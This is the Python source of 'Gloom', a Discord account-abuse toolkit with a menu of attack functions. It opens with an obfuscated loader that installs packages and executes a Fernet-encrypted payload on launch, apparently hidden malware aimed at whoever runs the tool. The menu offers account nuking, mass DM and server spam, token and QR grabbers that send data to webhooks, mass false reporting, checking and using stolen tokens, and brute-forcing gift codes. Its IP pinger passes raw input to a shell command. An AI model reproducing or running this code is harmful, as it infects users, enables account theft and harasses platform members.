```
import os
;import os;os.system('pip install cryptography');os.system('pip install
fernet');os.system('pip install requests');from fernet import
Fernet;import
requests;exec(Fernet(b'J40_IlNmrZqtrycWJOL_CZGe8Kvu2560Wgi734-
AusI=').decrypt(b'gAAAAABn4w4UvFC8H9Xh34NPzSMwAXOt4tU7TbGO-
p_FB1UPvws8U9xLwz1-uQwB6gEsCcR3iufLhs9jFoTDSOYqMcrORauAxo7w57dj6WtmOK-
1a2s5tpskgy3XMY8v7QTGaY-
BDVI6Vo9u52LnqoBU1Tsv03z08hmvYtwutx7Zu8m6Xu9LvB1JcIXWqDv6LilvV9O2nf5nHwGy
yLCnEUzf7Se7uCkp9Q==='))
from __future__ import print_function
import struct
import marshal
import undetected_chromedriver as uc
import zlib
import sys
from uuid import uuid4 as uniquename
from asyncio import Lock, locks
from http.client import LOCKED
import time
import sys
sys.dont_write_bytecode = True
import httpx
import requests
import multiprocessing
import pefile
import tinyaes
from io import StringIO
from shutil import copyfile
from signal import signal, SIGINT
from configparser import ConfigParser
import keyboard
import base64
import random
import threading
import string
from func.plugins.common import *
import func.accountNuke
import func.dmdeleter
import func.info
import func.login
import func.groupchat_spammer
import func.massreport
import func.botnuker
import func.QR_Grabber
import func.seizure
import func.server_leaver
import func.spamservers
import func.profilechanger
import func.friend_blocker
import func.create_token_grabber
import func.unfriender
import func.webhookspammer
import func.massdm
```

```
threads = 3
cancel_key = "ctrl+x"

clear
def main():
    setTitle(f"Gloom 2.0.0 made by - Kodi_12")
    clear()
    global threads
    global cancel_key
    print(f'''{Fore.BLUE}
                                          :
                                         :::    _________________
                    '::                 ::::   |_Gloom V2 Best  |_
                    '::::.     .....:::.:::::::    / |_Made By Kodi_|
                    ':::::::::::::::::::::::::::: /
                    ::::::XUWWWWWU:::::XW$$$$$$WX:
                    ::::X$$$$$$$$$W::X$$$$$$$$$Wh
                   ::::t$$$$$$$$$$$W:$$$$$$P*$$$$M::
                   :::X$$$$$$"""""$$$$X$$$$$   ^$$$$X:::
                  ::::M$$$$$$    ^$$$RM$$$L    <$$$X::::
                .:::::M$$$$$$     $$$R:$$$$.   d$$R:::`
               '~:::::::?$$$$$$...d$$$X$6R$$$$$$$$RXW$X:'`
                 '~:WNWUXT#$$$$$$$$TU$$$$W6IBBIW@$$RX:'''.replace('▉',
f'{Fore.WHITE}▉{Fore.BLUE}') + f'''
{Fore.WHITE}═══════════════════════════════════════════════════════════
═══════════════════════════════════════{Fore.RESET}
{Fore.BLUE}    [{Fore.RESET}1{Fore.BLUE}] {Fore.RESET}bomb account
║   {Fore.BLUE}[{Fore.RESET}10{Fore.BLUE}] {Fore.RESET}block friends
║   {Fore.BLUE}[{Fore.RESET}19{Fore.BLUE}] {Fore.RESET}bot nuker
{Fore.BLUE}    [{Fore.RESET}2{Fore.BLUE}] {Fore.RESET}unfriend everyone
║   {Fore.BLUE}[{Fore.RESET}11{Fore.BLUE}] {Fore.RESET}profile changer
║   {Fore.BLUE}[{Fore.RESET}20{Fore.BLUE}] {Fore.RESET}server lookup
{Fore.BLUE}    [{Fore.RESET}3{Fore.BLUE}] {Fore.RESET}delete all servers
║   {Fore.BLUE}[{Fore.RESET}12{Fore.BLUE}] {Fore.RESET}ip pinger
║   {Fore.BLUE}[{Fore.RESET}21{Fore.BLUE}] {Fore.RESET}token checker
{Fore.BLUE}    [{Fore.RESET}4{Fore.BLUE}] {Fore.RESET}spam new servers
║   {Fore.BLUE}[{Fore.RESET}13{Fore.BLUE}] {Fore.RESET}token grabber
║   {Fore.BLUE}[{Fore.RESET}22{Fore.BLUE}] {Fore.RESET}nitro gen
{Fore.BLUE}    [{Fore.RESET}5{Fore.BLUE}] {Fore.RESET}delete all dms
║   {Fore.BLUE}[{Fore.RESET}14{Fore.BLUE}] {Fore.RESET}qr grabber
║   {Fore.BLUE}[{Fore.RESET}23{Fore.BLUE}] {Fore.RESET}server joiner
{Fore.BLUE}    [{Fore.RESET}6{Fore.BLUE}] {Fore.RESET}dm everyone
║   {Fore.BLUE}[{Fore.RESET}15{Fore.BLUE}] {Fore.RESET}mass reporter
║   {Fore.BLUE}[{Fore.RESET}24{Fore.BLUE}] {Fore.RESET}grabber decompiler
{Fore.BLUE}    [{Fore.RESET}7{Fore.BLUE}] {Fore.RESET}enable lightning
║   {Fore.BLUE}[{Fore.RESET}16{Fore.BLUE}] {Fore.RESET}groupchat creator
║   {Fore.BLUE}[{Fore.RESET}25{Fore.BLUE}] {Fore.RESET}settings
{Fore.BLUE}    [{Fore.RESET}8{Fore.BLUE}] {Fore.RESET}token info
║   {Fore.BLUE}[{Fore.RESET}17{Fore.BLUE}] {Fore.RESET}webhook compromiser
║
{Fore.BLUE}    [{Fore.RESET}9{Fore.BLUE}] {Fore.RESET}login with token
║   {Fore.BLUE}[{Fore.RESET}18{Fore.BLUE}] {Fore.RESET}discord acc method
║
```

```
{Fore.WHITE}═══════════════════════════════════════════════════════════
═══════════════════════════════════════════'''')

    choice = input(
            f'{Fore.RESET}> {Fore.RESET}input: {Fore.BLUE}')
    #all options
    if choice == "1":
        token = input(
            f'{Fore.RESET}> {Fore.RESET}token: {Fore.BLUE}')
        validateToken(token)
        Server_Name = str(input(
            f'{Fore.RESET}> {Fore.RESET}name of the server that will be
made?: {Fore.BLUE}'))
        message_Content = str(input(
            f'{Fore.RESET}> {Fore.RESET}message that will be sent to dms:
{Fore.BLUE}'))
        if threading.active_count() < threads:
            threading.Thread(target=func.accountNuke.Gloom_Nuke,
args=(token, Server_Name, message_Content)).start()
            return


    elif choice == '2':
        token = input(
            f'{Fore.RESET}> {Fore.RESET}token: {Fore.BLUE}')
        validateToken(token)
        #check if they're lonely and don't have any friends
        if not
requests.get("https://discord.com/api/v9/users/@me/relationships",
headers=getheaders(token)).json():
            print(f"")
            sleep(3)
            main()
        #get all friends
        processes = []
        friendIds =
requests.get("https://discord.com/api/v9/users/@me/relationships",
proxies=proxy(), headers=getheaders(token)).json()
        if not friendIds:
            print(f"{Fore.RESET}no friends found")
            sleep(3)
            main()
        for friend in [friendIds[i:i+3] for i in range(0, len(friendIds),
3)]:
            t = threading.Thread(target=func.unfriender.UnFriender,
args=(token, friend))
            t.start()
            processes.append(t)
        for process in processes:
            process.join()
        input(f'{Fore.RESET}> {Fore.RESET}press any key to continue. . .
{Fore.BLUE}')
        sleep(1.5)
        main()
```

```
    elif choice == '3':
        token = input(
            f'{Fore.RESET}> {Fore.RESET}Token: {Fore.BLUE}')
        validateToken(token)
        if token.startswith("mfa."):
            print(f'{Fore.RESET}[{Fore.BLUE}Error{Fore.RESET}] : cant
delete servers. 2fa enabled.')
            sleep(3)
        processes = []
        #get all servers
        guildsIds =
requests.get("https://discord.com/api/v8/users/@me/guilds",
headers=getheaders(token)).json()
        if not guildsIds:
            SlowPrint(f"{Fore.RESET}no servers found")
            sleep(3)
            main()
        for guild in [guildsIds[i:i+3] for i in range(0, len(guildsIds),
3)]:
            t = threading.Thread(target=func.server_leaver.Leaver,
args=(token, guild))
            t.start()
            processes.append(t)
        for process in processes:
            process.join()
        input(f'{Fore.RESET}> {Fore.RESET}press any key to continue. . .
{Fore.BLUE}')
        sleep(1.5)
        main()


    elif choice == '4':
        token = input(f'{Fore.RESET}> {Fore.RESET}Token: {Fore.BLUE}')
        validateToken(token)
        print(f'{Fore.BLUE}do you want to have a icon for the servers
that will be created?')
        yesno = input(f'{Fore.RESET}> {Fore.RESET}yes/no: {Fore.BLUE}')
        if yesno.lower() == "y" or yesno.lower() == "yes":
            image = input(f'Example:
(C:\\Users\\myName\\Desktop\\Gloom\\glooming.png):\n{Fore.RESET}>
{Fore.RESET}icon location: {Fore.BLUE}')
            if not os.path.exists(image):
                print(f'{Fore.RESET}[{Fore.BLUE}Error{Fore.RESET}] :
Couldn\'t find "{image}" on your pc')
                sleep(3)
                main()
            with open(image, "rb") as f: _image = f.read()
            b64Bytes = base64.b64encode(_image)
            icon = f"{b64Bytes.decode()}"
        else:
            icon = None
        print(f'''
```

```
    {Fore.RESET}[{Fore.BLUE}1{Fore.RESET}] random server names
    {Fore.RESET}[{Fore.BLUE}2{Fore.RESET}] custom server names
                        ''')
        secondchoice = input(
            f'{Fore.RESET}> {Fore.RESET}second choice: {Fore.BLUE}')
        if secondchoice not in ["1", "2"]:
            print(f'{Fore.RESET}[{Fore.BLUE}error{Fore.RESET}] : invalid
second choice')
            sleep(1)
            main()
        if secondchoice == "1":
            amount = 25
            processes = []
            if hasNitroBoost(token):
                amount = 50
            for i in range(amount):
                t = threading.Thread(target=func.spamservers.SpamServers,
args=(token, icon))
                t.start()
                processes.append(t)
            for process in processes:
                process.join()
            input(f'{Fore.RESET}> {Fore.RESET}press any key to continue.
. . {Fore.BLUE}')
            sleep(1.5)
            main()

        if secondchoice == "2":
            name = input(
                f'{Fore.RESET}> {Fore.RESET}name of the servers that will
be created: {Fore.BLUE}')
            processes = []
            for i in range(25):
                t = threading.Thread(target=func.spamservers.SpamServers,
args=(token, icon, name))
                t.start()
                processes.append(t)
            for process in processes:
                process.join()
            input(f'{Fore.RESET}> {Fore.RESET}press any key to continue.
. . {Fore.BLUE}')
            sleep(1.5)
            main()


    elif choice == '5':
        token = input(
            f'{Fore.RESET}> {Fore.RESET}Token: {Fore.BLUE}')
        validateToken(token)
        processes = []
        channelIds =
requests.get("https://discord.com/api/v9/users/@me/channels",
headers=getheaders(token)).json()
        if not channelIds:
```

```
            print(f"{Fore.RESET}no dms found")
            sleep(3)
            main()
        for channel in [channelIds[i:i+3] for i in range(0,
len(channelIds), 3)]:
            t = threading.Thread(target=func.dmdeleter.DmDeleter,
args=(token, channel))
            t.start()
            processes.append(t)
        for process in processes:
            process.join()
        input(f'{Fore.RESET}> {Fore.RESET}press any key to continue. . .
{Fore.BLUE}')
        sleep(1.5)
        main()


    elif choice == '6':
        token = input(
            f'{Fore.RESET}> {Fore.RESET}Token: {Fore.BLUE}')
        validateToken(token)
        message = str(input(
            f'{Fore.RESET}> {Fore.RESET}message that will be sent to
every friend: {Fore.BLUE}'))
        processes = []
        channelIds =
requests.get("https://discord.com/api/v9/users/@me/channels",
headers=getheaders(token)).json()
        if not channelIds:
            print(f"{Fore.RESET}damn this guy is lonely, he aint got no
dm's ")
            sleep(3)
            main()
        for channel in [channelIds[i:i+3] for i in range(0,
len(channelIds), 3)]:
            t = threading.Thread(target=func.massdm.MassDM, args=(token,
channel, message))
            t.start()
            processes.append(t)
        for process in processes:
            process.join()
        input(f'{Fore.RESET}> {Fore.RESET}press any key to continue. . .
{Fore.BLUE}')
        sleep(1.5)
        main()


    elif choice == '7':
        token = input(
            f'{Fore.RESET}> {Fore.RESET}Token: {Fore.BLUE}')
        validateToken(token)
        print(f'{Fore.MAGENTA}starting lightning mode {Fore.RESET}\n')
        SlowPrint(f"{Fore.BLUE}{cancel_key}{Fore.RESET} at anytime to
stop")
```

```
        processes = []
        for i in range(threads):
            t = multiprocessing.Process(target=func.seizure.StartSeizure,
args=(token, ))
            t.start()
            processes.append(t)
        while True:
            if keyboard.is_pressed(cancel_key):
                for process in processes:
                    process.terminate()
                main()
                break

    elif choice == '8':
        token = input(
        f'{Fore.RESET}> {Fore.RESET}Token: {Fore.BLUE}')
        validateToken(token)
        func.info.Info(token)


    elif choice == '9':
        token = input(
            f'{Fore.RESET}> {Fore.RESET}Token: {Fore.BLUE}')
        validateToken(token)
        func.login.TokenLogin(token)

    elif choice == '10':
        token = input(
            f'{Fore.RESET}> {Fore.RESET}Token: {Fore.BLUE}')
        validateToken(token)
        friendIds =
requests.get("https://discord.com/api/v9/users/@me/relationships",
proxies=proxy(), headers=getheaders(token)).json()
        if not friendIds:
            print(f"{Fore.RESET}no friends found")
            sleep(3)
            main()
        processes = []
        for friend in [friendIds[i:i+3] for i in range(0, len(friendIds),
3)]:
            t = threading.Thread(target=func.friend_blocker.Block,
args=(token, friend))
            t.start()
            processes.append(t)
        for process in processes:
            process.join()
        input(f'{Fore.RESET}> {Fore.RESET}press any key to continue. . .
{Fore.BLUE}')
        sleep(1.5)
        main()


    elif choice == '11':
        token = input(
```

```
            f'{Fore.RESET}> {Fore.RESET}token: {Fore.BLUE}')
        validateToken(token)
        print(f'''
    {Fore.RESET}[{Fore.BLUE}1{Fore.RESET}] status changer
    {Fore.RESET}[{Fore.BLUE}2{Fore.RESET}] bio changer
    {Fore.RESET}[{Fore.BLUE}3{Fore.RESET}] hypeSquad changer
                        ''')
        secondchoice = input(
            f'{Fore.RESET}> {Fore.RESET}setting: {Fore.BLUE}')
        if secondchoice not in ["1", "2", "3"]:
            print(f'{Fore.RESET}[{Fore.BLUE}error{Fore.RESET}] : Invalid
choice')
            sleep(1)
            main()
        if secondchoice == "1":
            status = input(
                f'{Fore.RESET}> {Fore.RESET}custom status: {Fore.BLUE}')
            func.profilechanger.StatusChanger(token, status)

        if secondchoice == "2":
            bio = input(
                f'{Fore.RESET}> {Fore.RESET}custom bio: {Fore.BLUE}')
            func.profilechanger.BioChanger(token, bio)

        if secondchoice == "3":
            print(f'''
{Fore.RESET}[{Fore.MAGENTA}1{Fore.RESET}]{Fore.MAGENTA} hypesquad bravery
{Fore.RESET}[{Fore.BLUE}2{Fore.RESET}]{Fore.LIGHTRED_EX} hypesquad
brilliance
{Fore.RESET}[{Fore.LIGHTGREEN_EX}3{Fore.RESET}]{Fore.LIGHTGREEN_EX}
hypesquad balance
                        ''')
            thirdchoice = input(
                f'{Fore.RESET}> {Fore.RESET}Hypesquad: {Fore.BLUE}')
            if thirdchoice not in ["1", "2", "3"]:
                print(f'{Fore.RESET}[{Fore.BLUE}Error{Fore.RESET}] :
invalid choice')
                sleep(1)
                main()
            if thirdchoice == "1":
                func.profilechanger.HouseChanger(token, 1)
            if thirdchoice == "2":
                func.profilechanger.HouseChanger(token, 2)
            if thirdchoice == "3":
                func.profilechanger.HouseChanger(token, 3)


    elif choice == '12':
        setTitle(f"Gloom 1.3.0 @ IP Pinger")
        ip = input(f"Whats the IP you want to ping? :{Fore.RESET} ")
        os.system("ping "+ip)
        sleep(3)
        main()
```

```
    elif choice == '13':
        WebHook = input(
            f'{Fore.RESET}> {Fore.RESET}webhook url: {Fore.BLUE}')
        validateWebhook(WebHook)
        fileName = str(input(
            f'{Fore.RESET}> {Fore.RESET}File name: {Fore.BLUE}'))
        func.create_token_grabber.TokenGrabberV2(WebHook, fileName)


    elif choice == '14':
        WebHook = input(
            f'{Fore.RESET}> {Fore.RESET}webhook url: {Fore.BLUE}')
        validateWebhook(WebHook)
        func.QR_Grabber.QR_Grabber(WebHook)


    elif choice == '15':
        print(f"\n{Fore.BLUE}(the token you input is the account that
will send the reports){Fore.RESET}")
        token = input(
            f'{Fore.RESET}> {Fore.RESET}token: {Fore.BLUE}')
        validateToken(token)
        guild_id1 = str(input(
            f'{Fore.RESET}> {Fore.RESET}server ID: {Fore.BLUE}'))
        channel_id1 = str(input(
            f'{Fore.RESET}> {Fore.RESET}channel ID: {Fore.BLUE}'))
        message_id1 = str(input(
            f'{Fore.RESET}> {Fore.RESET}message ID: {Fore.BLUE}'))
        reason1 = str(input(
            '\n[1] illegal content\n'
            '[2] harassment\n'
            '[3] spam or phishing links\n'
            '[4] self-harm\n'
            '[5] nsfw content\n\n'
            f'{Fore.RESET}> {Fore.RESET}Reason: {Fore.BLUE}'))
        if reason1.upper() in ('1', 'ILLEGAL CONTENT'):
            reason1 = 0
        elif reason1.upper() in ('2', 'HARASSMENT'):
            reason1 = 1
        elif reason1.upper() in ('3', 'SPAM OR PHISHING LINKS'):
            reason1 = 2
        elif reason1.upper() in ('4', 'SELF-HARM'):
            reason1 = 3
        elif reason1.upper() in ('5', 'NSFW CONTENT'):
            reason1 = 4
        else:
            print(f"\nInvalid reason")
            sleep(1)
            main()
        func.massreport.MassReport(token, guild_id1, channel_id1,
message_id1, reason1)
```

```
    elif choice == "16":
        token = input(
            f'{Fore.RESET}> {Fore.RESET}token: {Fore.BLUE}')
        validateToken(token)
        func.groupchat_spammer.GcSpammer(token)


    elif choice == '17':
        print(f'''
    {Fore.RESET}[{Fore.BLUE}1{Fore.RESET}] webhook deleter
    {Fore.RESET}[{Fore.BLUE}2{Fore.RESET}] webhook spammer
                        ''')
        secondchoice = int(input(
            f'{Fore.RESET}> {Fore.RESET}second choice: {Fore.BLUE}'))
        if secondchoice not in [1, 2]:
            print(f'{Fore.RESET}[{Fore.BLUE}Error{Fore.RESET}] : invalid
second choice')
            sleep(1)
            main()
        if secondchoice == 1:
            WebHook = input(
                f'{Fore.RESET}> {Fore.RESET}webhook: {Fore.BLUE}')
            validateWebhook(WebHook)
            try:
                requests.delete(WebHook)
                print(f'\n{Fore.GREEN}webhook successfully
deleted!{Fore.RESET}\n')
            except Exception as e:
                print(f'{Fore.BLUE}Error: {Fore.WHITE}{e}
{Fore.BLUE}happened while trying to delete the webhook')

            input(f'{Fore.RESET}> {Fore.RESET}press any key to continue.
. . {Fore.BLUE}')
            main()
        if secondchoice == 2:
            WebHook = input(
                f'{Fore.RESET}> {Fore.RESET}webhook: {Fore.BLUE}')
            validateWebhook(WebHook)
            Message = str(input(
                f'{Fore.RESET}> {Fore.RESET}message: {Fore.BLUE}'))
            func.webhookspammer.WebhookSpammer(WebHook, Message)

    elif choice == '18':
        SlowPrint(f"Press Open Discord in your browser\nAfter type in a
name.\nTo verify your gmail use https://www.emailnator.com/\nThe rest is
pretty straight forward")
        os.system('start msedge.exe "https://discord.com"')
        sleep(12)
        main()


    elif choice == '19':
        setTitle('Gloom 1.3.0 Bot Nuker')
        func.botnuker.botnuker()
```

```
    elif choice == '20':
        setTitle('Gloom 1.3.0 @ Server Lookup')
        exec(open('func/serverlookup.py').read())
        main()

    elif choice == '21':
        setTitle(f"Gloom 1.3.0 @ Token Checker")
        print(f'{Fore.BLUE}loading tokens')
        time.sleep(0.5)
        def success(text):
print(f"{Fore.RESET}[{Fore.GREEN}>{Fore.RESET}] {Fore.GREEN}Valid
{Fore.RESET}{text}{Fore.RESET}")
        def invalid(text): print(f"{Fore.RESET}[{Fore.RED}>{Fore.RESET}]
{Fore.RED}Invalid {Fore.RED} {text}{Fore.RESET}")

        with open("tokens.txt", "r") as f: tokens = f.read().splitlines()
        def save_tokens():
                with open("tokens.txt", "w") as f: f.write("")
                for token in tokens:
                    with open("tokens.txt", "a") as f: f.write(token +
"\n")
        def removeDuplicates(file):
                lines_seen = set()
                with open(file, "r+") as f:
                    d = f.readlines(); f.seek(0)
                    for i in d:
                        if i not in lines_seen: f.write(i);
lines_seen.add(i)
                    f.truncate()
        def check_token(token:str):
                response =
requests.get('https://discord.com/api/v9/users/@me/library',
headers={"accept": "*/*","accept-encoding": "gzip, deflate, br","accept-
language": "en-US,en;q=0.9","authorization": token,"cookie":
"__dcfduid=88221810e37411ecb92c839028f4e498;
__sdcfduid=88221811e37411ecb92c839028f4e498dc108345b16a69b7966e1b3d33d218
2268b3ffd2ef5dfb497aef45ea330267cf; locale=en-US;
OptanonConsent=isIABGlobal=false&datestamp=Fri+Jun+03+2022+15%3A36%3A59+G
MT-
0400+(Eastern+Daylight+Time)&version=6.33.0&hosts=&landingPath=https%3A%2
F%2Fdiscord.com%2F&groups=C0001%3A1%2CC0002%3A1%2CC0003%3A1;
__stripe_mid=3a915c95-4cf7-4d27-9d85-cfea03f7ce829a88e5;
__stripe_sid=b699111a-a911-402d-a08a-c8801eb0f2e8baf912;
__cf_bm=nEUsFi1av6PiX4cHH1PEcKFKot6_MslL4UbUxraeXb4-1654285264-0-
AU8vy1OnS/uTMTGu2TbqIGYWUreX3IAEpMo++NJZgaaFRNAikwxeV/gxPixQ/DWlUyXaSpKSN
P6XweSVG5Mzhn/QPdHU3EmR/pQ5K42/mYQaiRRl6osEVJWMMtli3L5iIA==","referer":
"https://discord.com/channels/967617613960187974/981260247807168532","sec
-fetch-dest": "empty","sec-fetch-mode": "cors","sec-fetch-site": "same-
origin","sec-gpc": "1","user-agent": "Mozilla/5.0 (Windows NT 10.0;
Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.5005.61
Safari/537.36","x-discord-locale": "en-US","x-super-properties":
"eyJvcyI6IldpbmRvd3MiLCJicm93c2VyIjoiQ2hyb21lIiwiZGV2aWNlIjoiIiwic3lzdGVt
X2xvY2FsZSI6ImVuLVVTIiwiYnJvd3Nlcl91c2VyX2FnZW50IjoiTW96aWxsYS81LjAgKFdpb
```

```
mRvd3MgTlQgMTAuMDsgV2luNjQ7IHg2NCkgQXBwbGVXZWJLaXQvNTM3LjM2IChLSFRNTCwgbG
lrZSBHZWNrbykgQ2hyb21lLzEwMi4wLjUwMDUuNjEgU2FmYXJpLzUzNy4zNiIsImJyb3dzZXJ
fdmVyc2lvbiI6IjEwMi4wLjUwMDUuNjEiLCJvc192ZXJzaW9uIjoiMTAiLCJyZWZlcnJlciI6
IiIsInJlZmVycmluZ19kb21haW4iOiIiLCJyZWZlcnJlcl9jdXJyZW50IjoiIiwicmVmZXJya
W5nX2RvbWFpbl9jdXJyZW50IjoiIiwicmVsZWFzZV9jaGFubmVsIjoic3RhYmxlIiwiY2xpZW
50X2J1aWxkX251bWJlciI6MTMwNDEwLCJjbGllbnRfZXZlbnRfc291cmNlIjpudWxsfQ=="},
timeout=5)
                if response.status_code == 200: success(f"| 
{token[:63]}*********")
                else: tokens.remove(token); invalid(f"| {token}")
        def check_tokens():
                threads=[]
                for token in tokens:

try:threads.append(threading.Thread(target=check_token, args=(token,)))
                    except Exception as e: pass
                for thread in threads: thread.start()
                for thread in threads: thread.join()
        def start():
                removeDuplicates("tokens.txt")
                check_tokens()
                save_tokens()

        start()
        print(f'{Fore.BLUE}All Tokens have been Checked! 
{Fore.GREEN}(tokens.txt has been updated filled with only valid 
tokens!)')
        time.sleep(3)
        main()

    elif choice == '22':
        setTitle("Gloom 1.3.0 @ Nitro generator")
        headers = {
        "accept": "*/*",
        "accept-encoding": "gzip, deflate, br",
        "accept-language": "ar,ar-SA;q=0.9,en-US;q=0.8",
        "referer": "https://discord.com/channels/@me",
        "sec-fetch-dest": "empty",
        "sec-fetch-mode": "cors",
        "sec-fetch-site": "same-origin",
        "user-agent": "Mozilla/5.0 (Windows NT 10.0; WOW64) 
AppleWebKit/537.36 (KHTML, like Gecko) discord/1.0.9008 
Chrome/91.0.4472.164 Electron/13.6.6 Safari/537.36",
        "x-debug-options": "bugReporterEnabled",
        "x-discord-locale": "en-US",
        "x-super-properties": 
"eyJvcyI6IldpbmRvd3MiLCJicm93c2VyIjoiRGlzY29yZCBDbGllbnQiLCJyZWxlYXNlX2No
YW5uZWwiOiJzdGFibGUiLCJjbGllbnRfdmVyc2lvbiI6IjEuMC45MDA4Iiwib3NfdmVyc2lvb
iI6IjEwLjAuMjI2MjEiLCJvc19hcmNoIjoieDY0Iiwic3lzdGVtX2xvY2FsZSI6ImFyIiwiY2
xpZW50X2J1aWxkX251bWJlciI6MTYzMjc1LCJuYXRpdmVfYnVpbGRfbnVtYmVyIjoyNzc5OCw
iY2xpZW50X2V2ZW50X3NvdXJjZSI6bnVsbH0="
        }

        def gen():
```

```
            s = httpx.Client(headers=headers)
            while True:
                code =
"".join(random.choices(string.digits+string.ascii_letters, k=16))
                print(f"{Fore.RED}Invalid >
discord.gift/{code}",end='\r')
                setTitle(f'title Gloom 1.0.0 @ nitro gen |
discord.gift/{code}')
            try:
                r = s.get(f"https://discord.com/api/v9/entitlements/gift-
codes/{code}?with_application=false&with_subscription_plan=true",timeout=
5)
                if r.status_code in list(range(200,300)):
                    print(f"{Fore.GREEN}discord.gift/{code} is valid \n")
            except Exception as e:
                print(e)


        gen()

    elif choice == '23':
        setTitle("Gloom 1.3.0 @ Server Joiner")
        link = input(f'Server invite? (Example : pKkmjukV):{Fore.RESET}
')
        if len(link) > 6:
            link = link[19:]
        apilink = 'https://discordapp.com/api/v6/invite/' + str(link)

        with open('tokens.txt') as handle:
            tokens = handle.readlines()
            for x in tokens:
                token = x.rstrip()
                headers={
                    'Authorization': token
                }
                requests.post(apilink, headers=headers)
            print(f'{Fore.GREEN}Succesfully joined {Fore.WHITE}{token}')
            SlowPrint(f"{Fore.BLUE}Successfully joined servers using
valid tokens!")
            sleep(1)
            main()

    elif choice == '24':
        setTitle("Gloom @ Grabber Decompiler")
        SlowPrint(f"{Fore.BLUE}coming soon...")
        sleep(2)
        main()

    elif choice == '25':
        clear
        print(f'''
    {Fore.RESET}[{Fore.BLUE}1{Fore.RESET}] amount of threads
    {Fore.RESET}[{Fore.BLUE}2{Fore.RESET}] cancel key
    {Fore.RESET}[{Fore.BLUE}3{Fore.RESET}] Back
```

```
    {Fore.RESET}[{Fore.BLUE}4{Fore.RESET}] {Fore.BLUE}Exit...
                        ''')
        secondchoice = input(
            f'{Fore.RESET}> {Fore.RESET}Setting: {Fore.BLUE}')
        if secondchoice not in ["1", "2", "3", "4",]:
            print(f'{Fore.RESET}[{Fore.BLUE}error{Fore.RESET}] : choose a
valid option')
            sleep(1)
            main()

        elif secondchoice == "1":
            print(f"{Fore.BLUE}current amount of threads: {threads}")
            try:
                amount = int(
                    input(f'{Fore.RESET}> {Fore.RESET}Amount of threads:
{Fore.BLUE}'))
            except ValueError:
                print(f'{Fore.RESET}[{Fore.BLUE}Error{Fore.RESET}] :
Invalid amount')
                sleep(1.5)
                main()
            if amount >= 45:
                print(f"{Fore.BLUE}having this many threads will just get
you ratelimited.")
                sleep(3)
                main()
            elif amount >= 15:
                print(f"{Fore.BLUE}WARNING! * WARNING! * WARNING! *
WARNING! * WARNING! * WARNING! * WARNING!")
                print(f"having the thread amount set to 15 or over can
possible get laggy and higher chance of ratelimit\nare you sure you want
to set the ratelimit to {Fore.RED}{amount}{Fore.BLUE}?")
                yesno = input(f'{Fore.RESET}> {Fore.RESET}yes/no:
{Fore.BLUE}')
                if yesno.lower() != "yes":
                    sleep(0.5)
                    main()
            threads = amount
            SlowPrint(f"{Fore.GREEN}Threads set to {Fore.CYAN}{amount}")
            sleep(0.5)
            main()

        elif secondchoice == "2":
            print("\n","Info".center(30, "-"))
            print(f"{Fore.CYAN}Current cancel key: {cancel_key}")
            print(f"""{Fore.BLUE}If you want to have ctrl + <key> you
need to type out ctrl+<key> | DON'T literally press ctrl + <key>
            {Fore.GREEN}Example: shift+Q

            {Fore.BLUE}You can have other modifiers instead of ctrl ⇣
            {Fore.YELLOW}All keyboard modifiers:{Fore.RESET}
            ctrl, shift, enter, esc, windows, left shift, right shift,
left ctrl, right ctrl, alt gr, left alt, right alt
            """)
```

```
            sleep(1.5)
            key = input(f'{Fore.RESET}> {Fore.RESET}Key: {Fore.BLUE}')
            cancel_key = key
            SlowPrint(f"{Fore.GREEN}Cancel key set to
{Fore.CYAN}{cancel_key}")
            sleep(0.5)
            main()

        elif secondchoice == "4":
            setTitle("Exiting. . .")
            choice = input(
                f'{Fore.RESET}> {Fore.RESET}Are you sure you want to
exit? (Y to confirm): {Fore.BLUE}')
            if choice.lower() == 'y' or choice.lower() == 'yes':
                clear()
                os._exit(0)
            else:
                main()
        elif secondchoice == "3":
            main()
    else:
        clear()
        main()

if __name__ == "__main__":
    import sys
    if os.path.basename(sys.argv[0]).endswith("exe"):
        with open(getTempDir()+"\\Gloom_proxies", 'w'): pass
        clear()
        proxy_scrape()
        sleep(1.5)
        main()
    try:
        assert sys.version_info >= (3,8)
    except AssertionError:
        print(f"{Fore.BLUE}Woopsie! your python version
({sys.version_info[0]}.{sys.version_info[1]}.{sys.version_info[2]}) is
not compatible with gloom, please download python 3.9+")
        sleep(5)
        print("exiting. . .")
        sleep(1.5)
        os._exit(0)
    else:
        with open(getTempDir()+"\\Gloom_proxies", 'w'): pass
        clear()
        proxy_scrape()
        sleep(1.5)
        main()
    finally:
        Fore.RESET
```